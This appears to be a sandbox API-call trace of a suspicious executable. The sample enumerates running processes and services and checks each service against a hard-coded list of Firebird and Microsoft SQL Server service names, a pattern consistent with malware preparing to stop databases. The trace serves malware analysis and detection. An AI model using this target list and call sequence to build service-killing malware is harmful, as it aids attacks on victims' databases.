	[0159.084] lstrlenW (lpString="svchost.exe") returned 11
	[0159.084] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.084] lstrlenW (lpString="svchost.exe") returned 11
	[0159.084] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.146] lstrlenW (lpString="svchost.exe") returned 11
	[0159.146] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.148] lstrlenW (lpString="svchost.exe") returned 11
	[0159.148] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.148] lstrlenW (lpString="svchost.exe") returned 11
	[0159.148] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.149] lstrlenW (lpString="svchost.exe") returned 11
	[0159.149] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0159.149] lstrlenW (lpString="spoolsv.exe") returned 11
	[0159.149] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.150] lstrlenW (lpString="svchost.exe") returned 11
	[0159.150] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0159.150] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0159.150] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0159.150] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0159.150] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0159.151] lstrlenW (lpString="audiodg.exe") returned 11
	[0159.151] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0159.151] lstrlenW (lpString="Memory Compression") returned 18
	[0159.151] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0159.152] lstrlenW (lpString="taskhostw.exe") returned 13
	[0159.152] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0159.152] lstrlenW (lpString="sihost.exe") returned 10
	[0159.152] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.152] lstrlenW (lpString="svchost.exe") returned 11
	[0159.153] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0159.153] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0159.153] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0159.153] lstrlenW (lpString="taskhostw.exe") returned 13
	[0159.153] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0159.154] lstrlenW (lpString="explorer.exe") returned 12
	[0159.154] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0159.155] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0159.155] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0159.155] lstrlenW (lpString="SearchUI.exe") returned 12
	[0159.155] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0159.155] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0159.155] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1
	[0159.156] lstrlenW (lpString="mobsync.exe") returned 11
	[0159.156] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0159.156] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0159.156] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0159.157] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0159.157] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0159.157] lstrlenW (lpString="cmd.exe") returned 7
	[0159.157] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0159.157] lstrlenW (lpString="conhost.exe") returned 11
	[0159.157] Process32NextW (in: hSnapshot=0x278, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0159.158] CloseHandle (hObject=0x278) returned 1
	[0159.158] Sleep (dwMilliseconds=0x1f4) 
	[0159.822] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x74f3a0
	[0159.822] EnumServicesStatusExW (in: hSCManager=0x74f3a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0159.823] GetLastError () returned 0xea
	[0159.823] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1b4e) returned 0x4003478
	[0159.823] EnumServicesStatusExW (in: hSCManager=0x74f3a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4003478, cbBufSize=0x1b4e, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4003478, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0159.823] CloseServiceHandle (hSCObject=0x74f3a0) returned 1
	[0159.824] lstrlenW (lpString="AppXSvc") returned 7
	[0159.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0159.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0159.824] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0159.824] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0159.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0159.824] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0159.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0159.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0159.824] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0159.824] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0159.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0159.824] lstrlenW (lpString="Audiosrv") returned 8
	[0159.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0159.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0159.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0159.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0159.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0159.824] lstrlenW (lpString="BFE") returned 3
	[0159.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0159.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0159.824] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0159.824] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0159.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0159.824] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0159.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0159.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0159.824] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0159.824] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0159.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0159.824] lstrlenW (lpString="CDPSvc") returned 6
	[0159.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0159.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0159.825] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0159.825] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0159.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0159.825] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0159.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0159.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0159.825] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0159.825] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0159.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0159.825] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0159.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0159.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0159.825] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0159.825] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0159.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0159.825] lstrlenW (lpString="CryptSvc") returned 8
	[0159.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0159.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0159.825] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0159.825] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0159.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0159.825] lstrlenW (lpString="DcomLaunch") returned 10
	[0159.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0159.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0159.825] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0159.825] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0159.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0159.825] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0159.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0159.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0159.825] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0159.826] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0159.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0159.826] lstrlenW (lpString="Dhcp") returned 4
	[0159.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0159.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0159.826] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0159.826] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0159.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0159.826] lstrlenW (lpString="Dnscache") returned 8
	[0159.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0159.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0159.826] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0159.826] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0159.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0159.826] lstrlenW (lpString="DPS") returned 3
	[0159.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0159.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0159.826] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0159.826] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0159.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0159.826] lstrlenW (lpString="DusmSvc") returned 7
	[0159.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0159.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0159.826] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0159.826] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0159.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0159.826] lstrlenW (lpString="EventLog") returned 8
	[0159.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0159.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0159.826] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0159.826] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0159.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0159.826] lstrlenW (lpString="EventSystem") returned 11
	[0159.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0159.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0159.826] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0159.827] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0159.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0159.827] lstrlenW (lpString="FontCache") returned 9
	[0159.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0159.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0159.827] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0159.827] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0159.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0159.827] lstrlenW (lpString="gpsvc") returned 5
	[0159.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0159.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0159.827] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0159.827] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0159.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0159.827] lstrlenW (lpString="iphlpsvc") returned 8
	[0159.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0159.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0159.827] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0159.827] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0159.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0159.827] lstrlenW (lpString="KeyIso") returned 6
	[0159.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0159.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0159.827] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0159.827] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0159.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0159.827] lstrlenW (lpString="LanmanServer") returned 12
	[0159.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0159.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0159.827] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0159.827] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0159.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0159.827] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0159.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0159.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0159.828] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0159.828] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0159.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0159.828] lstrlenW (lpString="lfsvc") returned 5
	[0159.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0159.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0159.828] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0159.828] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0159.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0159.828] lstrlenW (lpString="lmhosts") returned 7
	[0159.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0159.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0159.828] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0159.828] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0159.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0159.828] lstrlenW (lpString="LSM") returned 3
	[0159.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0159.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0159.828] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0159.828] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0159.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0159.828] lstrlenW (lpString="MpsSvc") returned 6
	[0159.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0159.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0159.828] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0159.828] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0159.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0159.828] lstrlenW (lpString="NcbService") returned 10
	[0159.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0159.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0159.828] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0159.828] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0159.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0159.828] lstrlenW (lpString="netprofm") returned 8
	[0159.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0159.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0159.829] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0159.829] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0159.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0159.829] lstrlenW (lpString="NgcSvc") returned 6
	[0159.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0159.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0159.829] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0159.829] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0159.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0159.829] lstrlenW (lpString="NlaSvc") returned 6
	[0159.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0159.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0159.829] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0159.829] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0159.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0159.829] lstrlenW (lpString="nsi") returned 3
	[0159.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0159.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0159.829] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
